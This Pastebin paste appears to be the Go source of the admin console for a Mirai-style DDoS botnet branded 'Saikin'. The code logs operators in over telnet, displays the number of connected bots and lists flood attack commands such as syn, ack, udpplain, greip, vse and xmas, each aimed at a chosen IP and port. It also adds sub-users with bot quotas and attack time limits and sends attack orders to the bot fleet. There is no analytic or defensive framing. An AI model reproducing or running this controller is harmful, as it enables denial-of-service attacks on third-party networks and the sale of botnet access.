Advertisement
mysql_Anarchy

[ GO ] Saiken Admin.go

Jun 17th, 2018
571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 15.79 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4.     "fmt"
  5.     "net"
  6.     "time"
  7.     "strings"
  8.     "strconv"
  9. )
  10.  
  11. type Admin struct {
  12.     conn    net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16.     return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20.     this.conn.Write([]byte("\033[?1049h"))
  21.     this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23.     defer func() {
  24.         this.conn.Write([]byte("\033[?1049l"))
  25.     }()
  26.  
  27.     // Get username
  28.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29.     this.conn.Write([]byte("\x1b[0;95mU\x1b[1;33ms\x1b[0;31me\x1b[0;35mr\x1b[1;31mn\x1b[1;35ma\x1b[1;32mm\x1b[1;34me\x1b[0;95m: \033[0m"))
  30.     username, err := this.ReadLine(false)
  31.     if err != nil {
  32.         return
  33.     }
  34.  
  35.     // Get password
  36.     this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  37.     this.conn.Write([]byte("\x1b[0;95mP\x1b[1;33ma\x1b[0;31ms\x1b[0;35ms\x1b[1;31mw\x1b[1;35mo\x1b[1;32mr\x1b[1;34md\x1b[0;95m: \033[0m"))
  38.     password, err := this.ReadLine(true)
  39.     if err != nil {
  40.         return
  41.     }
  42.  
  43.     this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  44.     this.conn.Write([]byte("\r\n"))
  45.  
  46.     var loggedIn bool
  47.     var userInfo AccountInfo
  48.     if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  49.         this.conn.Write([]byte("\r\033[32;1m[!] INVALID INFORMATION\r\n"))
  50.         this.conn.Write([]byte("\033[31mpress any key to exit\033[0m"))
  51.         buf := make([]byte, 1)
  52.         this.conn.Read(buf)
  53.         return
  54.     }
  55.  
  56.     this.conn.Write([]byte("\r\n\033[0m"))
  57.     go func() {
  58.         i := 0
  59.         for {
  60.             var BotCount int
  61.             if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  62.                 BotCount = userInfo.maxBots
  63.             } else {
  64.                 BotCount = clientList.Count()
  65.             }
  66.  
  67.             time.Sleep(time.Second)
  68.             if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0;%d Bots Connected | %s\007", BotCount, username))); err != nil {
  69.                 this.conn.Close()
  70.                 break
  71.             }
  72.             i++
  73.             if i % 60 == 0 {
  74.                 this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  75.             }
  76.         }
  77.     }()
  78.     this.conn.Write([]byte("\033[2J\033[1;1H"))
  79.     this.conn.Write([]byte("\033[1;35m\r\n"))
  80.     this.conn.Write([]byte("\033[1;30m         This Net is Owned by SlayKings\r\n\033[0m"))
  81.     this.conn.Write([]byte("\033[1;35m\r\n"))
  82.     this.conn.Write([]byte("\033[1;96m           ███████╗ █████╗ ██╗██╗  ██╗██╗███╗   ██╗\r\n"))
  83.     this.conn.Write([]byte("\033[1;96m           ██╔════╝██╔══██╗██║██║ ██╔╝██║████╗  ██║\r\n"))
  84.     this.conn.Write([]byte("\033[1;96m           ███████╗███████║██║█████╔╝ ██║██╔██╗ ██║\r\n"))    
  85.     this.conn.Write([]byte("\033[1;96m           ╚════██║██╔══██║██║██╔═██╗ ██║██║╚██╗██║\r\n"))
  86.     this.conn.Write([]byte("\033[1;96m           ███████║██║  ██║██║██║  ██╗██║██║ ╚████║\r\n"))
  87.     this.conn.Write([]byte("\033[1;96m           ╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝\r\n"))
  88.     this.conn.Write([]byte("\x1b[1;36m                       \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;94mVersion 1\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  89.    
  90.     for {
  91.         var botCatagory string
  92.         var botCount int
  93.         this.conn.Write([]byte("\033[32;1m~> \033[0m"))
  94.         cmd, err := this.ReadLine(false)
  95.         if err != nil || cmd == "exit" || cmd == "quit" {
  96.             return
  97.         }
  98.         if cmd == "" {
  99.             continue
  100.         }
  101.         if err != nil || cmd == "CLEAR" || cmd == "clear" || cmd == "cls" {
  102.     this.conn.Write([]byte("\033[2J\033[1;1H"))
  103.     this.conn.Write([]byte("\033[0;35m\r\n"))
  104.     this.conn.Write([]byte("\033[1;30m         This Net is Owned by SlayKings\r\n\033[0m"))
  105.     this.conn.Write([]byte("\033[1;35m\r\n"))
  106.     this.conn.Write([]byte("\033[1;96m           ███████╗ █████╗ ██╗██╗  ██╗██╗███╗   ██╗\r\n"))
  107.     this.conn.Write([]byte("\033[1;96m           ██╔════╝██╔══██╗██║██║ ██╔╝██║████╗  ██║\r\n"))
  108.     this.conn.Write([]byte("\033[1;96m           ███████╗███████║██║█████╔╝ ██║██╔██╗ ██║\r\n"))    
  109.     this.conn.Write([]byte("\033[1;96m           ╚════██║██╔══██║██║██╔═██╗ ██║██║╚██╗██║\r\n"))
  110.     this.conn.Write([]byte("\033[1;96m           ███████║██║  ██║██║██║  ██╗██║██║ ╚████║\r\n"))
  111.     this.conn.Write([]byte("\033[1;96m           ╚══════╝╚═╝  ╚═╝╚═╝╚═╝  ╚═╝╚═╝╚═╝  ╚═══╝\r\n"))
  112.     this.conn.Write([]byte("\x1b[0;36m                       \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;94mVersion 1\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  113.     continue
  114.         }
  115.         if err != nil || cmd == "senpai" || cmd == "SENPAI" || cmd == "sen" || cmd == "SEN" || cmd == "clear_senpai" || cmd == "CLEAR_SENPAI" {
  116.             this.conn.Write([]byte("\033[2J\033[1;1H"))
  117.     this.conn.Write([]byte("\033[1;35m\t███████\033[1;36m╗\033[1;35m███████\033[1;36m╗\033[1;35m███\033[1;36m╗   \033[1;35m██\033[1;36m╗\033[1;35m██████\033[1;36m╗  \033[1;35m█████\033[1;36m╗ \033[1;35m██\033[1;36m╗\r\n\033[0m"))
  118.     this.conn.Write([]byte("\033[1;35m\t██\033[1;36m╔════╝\033[1;35m██\033[1;36m╔════╝\033[1;35m████\033[1;36m╗  \033[1;35m██\033[1;36m║\033[1;35m██\033[1;36m╔══\033[1;35m██\033[1;36m╗\033[1;35m██\033[1;36m╔══\033[1;35m██\033[1;36m╗\033[1;35m██\033[1;36m║\r\n\033[0m"))
  119.     this.conn.Write([]byte("\033[1;35m\t███████\033[1;36m╗\033[1;35m█████\033[1;36m╗  \033[1;35m██\033[1;36m╔\033[1;35m██\033[1;36m╗ \033[1;35m██\033[1;36m║\033[1;35m██████\033[1;36m╔╝\033[1;35m███████\033[1;36m║\033[1;35m██\033[1;36m║\r\n\033[0m"))
  120.     this.conn.Write([]byte("\033[0;36m\t╚════\033[1;35m██\033[1;36m║\033[1;35m██\033[1;36m╔══╝  \033[1;35m██\033[1;36m║╚\033[1;35m██\033[1;36m╗\033[1;35m██\033[1;36m║\033[1;35m██\033[1;36m╔═══╝ \033[1;35m██\033[1;36m╔══\033[1;35m██\033[1;36m║\033[1;35m██\033[1;36m║\r\n\033[0m"))
  121.     this.conn.Write([]byte("\033[0;35m\t███████\033[1;36m║\033[1;35m███████\033[1;36m╗\033[1;35m██\033[1;36m║ ╚\033[1;35m████\033[1;36m║\033[1;35m██\033[1;36m║     \033[1;35m██\033[1;36m║  \033[1;35m██\033[1;36m║\033[1;35m██\033[1;36m║\r\n\033[0m"))
  122.     this.conn.Write([]byte("\033[0;36m\t╚══════╝╚══════╝╚═╝  ╚═══╝╚═╝     ╚═╝  ╚═╝╚═╝\r\n\033[0m"))
  123.     this.conn.Write([]byte("\x1b[0;36m                \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[0;36mWelcome To The Saikin v1.0 BotNet\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  124.     this.conn.Write([]byte("\x1b[0;36m                 \x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\x1b[1;31mType help to Get Help\x1b[1;35m[\x1b[1;32m+\x1b[1;35m]\r\n\x1b[0m"))
  125.             continue
  126.         }
  127.         if err != nil || cmd == "?" || cmd == "help" || cmd == "info" {
  128.             this.conn.Write([]byte("\x1b[1;36m[+]---------------------------------------------------------[+]\r\n"))
  129.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m               Saikin menu xoxo                            \x1b[1;36m|\r\n"))
  130.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m greip [ip] [time] dport=[port]            | greip         \x1b[1;36m|\r\n"))
  131.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m udpplain [ip] [time] dport=[80]           | udpplain      \x1b[1;36m|\r\n"))
  132.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m ack [ip] [time] dport=[port]              | ack           \x1b[1;36m|\r\n"))
  133.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m syn [ip] [time] dport=[port]              | syn           \x1b[1;36m|\r\n"))
  134.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m vse [ip] [time] dport=[port]              | vse           \x1b[1;36m|\r\n"))
  135.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m greeth [ip] [time] dport=[port]           | greeth        \x1b[1;36m|\r\n"))
  136.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m xmas [ip] [time] dport=[port]             | xmas          \x1b[1;36m|\r\n"))
  137.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m std [ip] [time] dport=[port]              | std           \x1b[1;36m|\r\n"))
  138.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m cls or clear                              | clears screen \x1b[1;36m|\r\n"))
  139.             this.conn.Write([]byte("\x1b[1;36m |\x1b[0;95m botcount or bots                          | shows bots    \x1b[1;36m|\r\n"))
  140.             this.conn.Write([]byte("\x1b[1;36m[+]---------------------------------------------------------[+]\r\n"))
  141.             continue
  142.         }
  143.         botCount = userInfo.maxBots
  144.  
  145.         if userInfo.admin == 1 && cmd == "adduser" {
  146.             this.conn.Write([]byte("Enter new username: "))
  147.             new_un, err := this.ReadLine(false)
  148.             if err != nil {
  149.                 return
  150.             }
  151.             this.conn.Write([]byte("Enter new password: "))
  152.             new_pw, err := this.ReadLine(false)
  153.             if err != nil {
  154.                 return
  155.             }
  156.             this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  157.             max_bots_str, err := this.ReadLine(false)
  158.             if err != nil {
  159.                 return
  160.             }
  161.             max_bots, err := strconv.Atoi(max_bots_str)
  162.             if err != nil {
  163.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the bot count")))
  164.                 continue
  165.             }
  166.             this.conn.Write([]byte("Max attack duration (-1 for none): "))
  167.             duration_str, err := this.ReadLine(false)
  168.             if err != nil {
  169.                 return
  170.             }
  171.             duration, err := strconv.Atoi(duration_str)
  172.             if err != nil {
  173.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  174.                 continue
  175.             }
  176.             this.conn.Write([]byte("Cooldown time (0 for none): "))
  177.             cooldown_str, err := this.ReadLine(false)
  178.             if err != nil {
  179.                 return
  180.             }
  181.             cooldown, err := strconv.Atoi(cooldown_str)
  182.             if err != nil {
  183.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to parse the cooldown")))
  184.                 continue
  185.             }
  186.             this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  187.             confirm, err := this.ReadLine(false)
  188.             if err != nil {
  189.                 return
  190.             }
  191.             if confirm != "y" {
  192.                 continue
  193.             }
  194.             if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  195.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  196.             } else {
  197.                 this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  198.             }
  199.             continue
  200.         }
  201.         if cmd == "botcount" || cmd == "bots" || cmd == "count" {
  202.         botCount = clientList.Count()
  203.             m := clientList.Distribution()
  204.             this.conn.Write([]byte(fmt.Sprintf("\033[1;35m[+]=============================[+]\r\n\033[0m")))
  205.             for k, v := range m {
  206.                 this.conn.Write([]byte(fmt.Sprintf("\033[35m%s [%d]\033[0m\r\n\033[0m", k, v)))
  207.             }
  208.             this.conn.Write([]byte(fmt.Sprintf("\033[35;1mTOTAL [%d]\r\n\033[0m", botCount)))
  209.             this.conn.Write([]byte(fmt.Sprintf("\033[1;35m[+]=============================[+]\033[0m\r\n")))
  210.             continue
  211.         }
  212.         if cmd[0] == '-' {
  213.             countSplit := strings.SplitN(cmd, " ", 2)
  214.             count := countSplit[0][1:]
  215.             botCount, err = strconv.Atoi(count)
  216.             if err != nil {
  217.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  218.                 continue
  219.             }
  220.             if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  221.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  222.                 continue
  223.             }
  224.             cmd = countSplit[1]
  225.         }
  226.         if cmd[0] == '@' {
  227.             cataSplit := strings.SplitN(cmd, " ", 2)
  228.             botCatagory = cataSplit[0][1:]
  229.             cmd = cataSplit[1]
  230.         }
  231.  
  232.         atk, err := NewAttack(cmd, userInfo.admin)
  233.         if err != nil {
  234.             this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  235.         } else {
  236.             buf, err := atk.Build()
  237.             if err != nil {
  238.                 this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  239.             } else {
  240.                 if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  241.                     this.conn.Write([]byte(fmt.Sprintf("\033[31;1m%s\033[0m\r\n", err.Error())))
  242.                 } else if !database.ContainsWhitelistedTargets(atk) {
  243.                     clientList.QueueBuf(buf, botCount, botCatagory)
  244.                 } else {
  245.                     fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  246.                 }
  247.             }
  248.         }
  249.     }
  250. }
  251.  
  252. func (this *Admin) ReadLine(masked bool) (string, error) {
  253.     buf := make([]byte, 1024)
  254.     bufPos := 0
  255.  
  256.     for {
  257.         n, err := this.conn.Read(buf[bufPos:bufPos+1])
  258.         if err != nil || n != 1 {
  259.             return "", err
  260.         }
  261.         if buf[bufPos] == '\xFF' {
  262.             n, err := this.conn.Read(buf[bufPos:bufPos+2])
  263.             if err != nil || n != 2 {
  264.                 return "", err
  265.             }
  266.             bufPos--
  267.         } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  268.             if bufPos > 0 {
  269.                 this.conn.Write([]byte(string(buf[bufPos])))
  270.                 bufPos--
  271.             }
  272.             bufPos--
  273.         } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  274.             bufPos--
  275.         } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  276.             this.conn.Write([]byte("\r\n"))
  277.             return string(buf[:bufPos]), nil
  278.         } else if buf[bufPos] == 0x03 {
  279.             this.conn.Write([]byte("^C\r\n"))
  280.             return "", nil
  281.         } else {
  282.             if buf[bufPos] == '\x1B' {
  283.                 buf[bufPos] = '^';
  284.                 this.conn.Write([]byte(string(buf[bufPos])))
  285.                 bufPos++;
  286.                 buf[bufPos] = '[';
  287.                 this.conn.Write([]byte(string(buf[bufPos])))
  288.             } else if masked {
  289.                 this.conn.Write([]byte("*"))
  290.             } else {
  291.                 this.conn.Write([]byte(string(buf[bufPos])))
  292.             }
  293.         }
  294.         bufPos++
  295.     }
  296.     return string(buf), nil
  297. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement